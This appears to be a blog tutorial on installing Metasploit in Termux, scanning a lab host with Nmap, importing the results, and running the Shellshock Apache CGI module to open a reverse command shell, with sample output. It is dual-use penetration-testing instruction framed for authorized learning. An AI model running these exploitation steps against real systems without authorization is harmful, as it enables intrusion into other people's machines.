Pin It!

It’s not about finding vulnerabilities—it’s about exploiting them. Let Metasploit do both.

A few years ago, I was just like many aspiring ethical hackers—curious but unsure where to begin. I spent countless hours reading about penetration testing and vulnerability scanning, but something was always missing. Then, I stumbled upon Metasploit, and everything changed. Instead of simply scanning for vulnerabilities, I discovered how to exploit them—safely and ethically. This open-source tool became my go-to for testing real-world security gaps in a controlled environment, and I couldn’t believe how easy it was to master once I had the right guidance.

Now, I want to share what I’ve learned with you. Metasploit is more than just a scanning tool—it’s a complete framework for ethical hackers to identify and exploit vulnerabilities like a pro. If you’re ready to move beyond basic scans and dive into the world of ethical hacking, this step-by-step guide will get you there.

Read on to learn how to use Metasploit to not only scan for vulnerabilities but also exploit them safely and effectively.

Download my FREE Termux Cheat Sheet Now!

⚠️ Important: These tools are intended for ethical hacking, security research, and education. Use them only on systems and networks you own or have permission to test. Unauthorized use can lead to serious legal consequences.

---

Table of Contents

Pin It!

Pin It!

• Understanding Metasploit Basics: Why You Need It
  • What is Nmap?
  • What is Metasploit?
• Step-by-Step Guide: Installing Metasploit in Termux
  • Install Termux
  • Update Termux
  • Install Dependencies
  • Install Metasploit Framework
  • Install Ruby Gems
  • Setup PostgreSQL Database
  • Start Metasploit
  • Setting Up Nmap
  • Scanning the Target Network with Nmap
  • Generating Nmap Scan Results in XML Format
  • Importing Nmap Results into Metasploit
  • Finding Vulnerabilities in Metasploit
  • Exploiting Vulnerabilities
  • Interpreting Results
• Caveat for Ethical Hacking
• Recap and Your Next Step

Pin It!

---

Understanding Metasploit Basics: Why You Need It

Metasploit is a powerful framework used by ethical hackers, security researchers, and penetration testers to identify and exploit security vulnerabilities in computer systems. As part of the open-source community, Metasploit is freely available and incredibly versatile. Its primary purpose is to help users automate tasks related to discovering vulnerabilities and executing exploits in a safe, controlled manner.

But why does Metasploit matter? Imagine you’re tasked with securing a network, website, or application. Rather than manually scanning each entry point for weaknesses, Metasploit does it for you, using various exploits and payloads that can demonstrate how easily an attacker could compromise a system. Whether you’re scanning for outdated software or testing firewall configurations, Metasploit’s modules simplify the process.

For beginners, it’s important to note that Metasploit is not just a single tool; it’s a collection of modules and scripts that work together to perform penetration tests. Some modules focus on scanning vulnerabilities, others on exploiting them, and still others on maintaining access after the exploit is successful. The beauty of Metasploit lies in its ability to automate complex tasks and its adaptability for a variety of security needs.

What is Nmap?

Nmap (Network Mapper) is a popular open-source tool used for network discovery and security auditing. It allows ethical hackers to identify open ports, services running on the network, and possible vulnerabilities.

What is Metasploit?

Metasploit is a penetration testing framework that enables ethical hackers to exploit known vulnerabilities in systems. It contains a vast library of pre-built exploits, payloads, and auxiliary tools to help you test network security.

· · ─ ·𖥸· ─ · ·

Step-by-Step Guide: Installing Metasploit in Termux

Setting up Metasploit on Termux may sound daunting, but it’s surprisingly straightforward. Here’s a step-by-step guide to getting it up and running:

Install Termux

If you haven’t already, you’ll need to install Termux from F-Droid or the Google Play Store.

Update Termux

Before you install any packages, make sure your Termux environment is updated:

pkg update && pkg upgrade

Install Dependencies

Metasploit requires certain packages to run. You’ll need to install them first:

pkg install git
pkg install ruby
pkg install clang
pkg install libpcap-dev
pkg install libsqlite3-dev
pkg install postgresql
pkg install libffi-dev

Install Metasploit Framework

Clone the Metasploit repository from GitHub and navigate to the folder:

git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework

Install Ruby Gems

Next, install the required Ruby gems:

gem install bundler
bundle install

Setup PostgreSQL Database

Metasploit requires a PostgreSQL database to track information during penetration tests. Start the database:

pg_ctl start

Start Metasploit

Finally, launch Metasploit by running: bashCopyEdit./msfconsole This should open the Metasploit framework’s interactive console, and you’re ready to start scanning for vulnerabilities.

With these steps completed, you now have Metasploit running on your mobile device through Termux, and you’re set to begin penetration testing in a lightweight, portable environment.

Setting Up Nmap

Before diving into the process, ensure that both Nmap and Metasploit are installed on your system. You can install them on Linux-based systems, such as Kali Linux or in Termux for Android.

Pin It!

To install Nmap, run:

sudo apt install nmap

Scanning the Target Network with Nmap

To begin, you’ll use Nmap to scan your target network. Here’s an example of an Nmap scan targeting a specific IP address:

nmap -sS -A 192.168.1.10

Output Example:

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.41
443/tcp open  https    Apache httpd 2.4.41

In this example, Nmap reveals three open ports (22, 80, 443) with services running SSH and Apache web server. These will be points of interest for further exploitation using Metasploit.

Generating Nmap Scan Results in XML Format

To use the scan results in Metasploit, Nmap allows you to output the scan data in XML format. This is necessary for importing the results into Metasploit for further analysis.

Steps to Generate nmap_scan.xml:

Use your desired Nmap scan command with the -oX option to export the results in XML format. Here’s an example:

nmap -sS -A -oX nmap_scan.xml 192.168.1.10

This command runs a SYN scan (-sS) and an aggressive scan (-A), while saving the output in the file nmap_scan.xml.

Sample XML Output:

<?xml version="1.0"?>
<nmaprun scanner="nmap" args="nmap -sS -A 192.168.1.10" start="1605111530">
    <host>
        <status state="up" reason="syn-ack"/>
        <address addr="192.168.1.10" addrtype="ipv4"/>
        <ports>
            <port protocol="tcp" portid="22">
                <state state="open" reason="syn-ack"/>
                <service name="ssh" version="OpenSSH 7.9"/>
            </port>
            <port protocol="tcp" portid="80">
                <state state="open" reason="syn-ack"/>
                <service name="http" version="Apache 2.4.41"/>
            </port>
        </ports>
    </host>
</nmaprun>

The XML file contains structured information about the scanned host, including open ports and detected services.

Importing Nmap Results into Metasploit

To make your Nmap results actionable within Metasploit, you can import the scan directly.

Start Metasploit by typing:

msfconsole

Import the Nmap scan results:

db_import /path/to/nmap_scan.xml

Once imported, Metasploit will have access to the scanned information, making it easier to exploit vulnerabilities.

Finding Vulnerabilities in Metasploit

Now, let’s identify possible vulnerabilities. Metasploit can search for modules (exploits) that match services running on the scanned machine.

To search for Apache vulnerabilities, use:

search apache

Output Example:

Exploit   apache_mod_cgi_bash_env_exec    Unix  Remote Code Execution
Exploit   apache_struts_content_type      Unix  Remote Code ExecutiON

These results show two available exploits for Apache, which can be used to further investigate vulnerabilities.

Exploiting Vulnerabilities

Once you identify a vulnerability, you can load an exploit. For instance, to exploit apache_mod_cgi_bash_env_exec, follow these steps:

Load the exploit:

use exploit/unix/webapp/apache_mod_cgi_bash_env_exec

Set the target IP:

set RHOST 192.168.1.10

Run the exploit:bashCopy codeexploit

Output Example:

[*] Started reverse TCP handler on 192.168.1.5:4444 
[*] Sending malicious request...
[*] Command shell session opened

This indicates a successful exploitation, allowing you to gain shell access to the target system.

Interpreting Results

The output of the exploit will usually include information about whether the exploit succeeded or failed. For example, a successful session will allow you to execute commands on the target machine. Here’s how to interpret the results:

• Command Shell Session Opened: This means you have gained access to the machine.
• Failed to exploit: This suggests that either the system is patched or the conditions for the exploit are not met.

· · ─ ·𖥸· ─ · ·

Caveat for Ethical Hacking

It’s critical to emphasize that ethical hacking must always be performed with proper authorization. Testing without permission is illegal and unethical. This guide is meant for educational purposes, and you should only use these techniques in environments where you have explicit permission from the system owner.

· · ─ ·𖥸· ─ · ·

Recap and Your Next Step

Unlock Metasploit’s Full Potential for Web Security

You’ve learned that Metasploit is not just a vulnerability scanner, but a powerful tool that can help you exploit weaknesses for ethical hacking. With this step-by-step guide, you now have the knowledge to find vulnerabilities, assess risks, and test your system defenses. By leveraging Metasploit, you’re equipping yourself with the skills of a true ethical hacker—protecting your digital spaces and those you manage.

Now that you’ve discovered the power of Metasploit, why stop here? There’s so much more to learn, and I’ll be diving deeper into other open-source security tools in future posts.